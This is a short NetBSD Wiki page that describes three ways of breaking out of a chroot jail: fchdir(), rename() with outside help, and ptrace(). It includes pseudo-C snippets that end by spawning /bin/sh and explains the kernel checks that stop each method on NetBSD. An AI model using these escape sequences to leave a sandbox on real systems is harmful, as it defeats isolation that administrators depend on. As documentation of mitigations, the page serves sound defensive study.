How to break out of a chroot environment

From NetBSD Wiki

Jump to: navigation, search

In many UNIX-like operating systems, there is a chroot system call that puts a process into an environment from which it can only access a part of the filesystem. There are various tricky ways how one can break out of such an environment.

First try: fchdir()

What you need:

  • A process running as root inside a chroot environment.
  • The possibility to create a directory.

Then, you can do:

curdir = open(".");
mkdir("the-way-out");
chdir("the-way-out");
chroot(".");
fchdir(curdir);
chdir("../../../../../../../../../..");
chroot(".");
system("/bin/sh");

Doesn't work on NetBSD, because:

  • The call to fchdir() checks whether the file descriptor points to a directory outside the chroot environment.

Second try: rename()

What you need:

  • A process running as root inside a chroot environment.
  • A process running as non-root outside the chroot environment, but which has access to the filesystem of the chroot environment.

Then, you can do inside the chroot:

mkdir("the");
mkdir("the/way-out");
chown("the/way-out", UID_OF_THE_OUTSIDE_USER, -1);
chdir("the/way-out");
printf("I need help. Please move me out of here.\n");
getchar();
chroot("../../../../../../../../../..");
system("/bin/sh");

And outside the chroot:

$ mv $chrootdir/dir1 /tmp

Doesn't work on NetBSD, because:

  • Any lookup to a pathname component that is .. is checked whether it happens outside the chroot environment. If that is the case, it resolves to the root directory of the chroot environment, and a message is sent to the syslog. This check is implemented in the lookup() function.

Third try: ptrace

The Secure UNIX Programming FAQ [1] mentions that a process might be able to break out by using ptrace() on a process of the same user ID outside of the chroot environment. Sadly, this does not work on NetBSD, as the manual page of ptrace(2) tells. Look for the word "chroot" in it.

Personal tools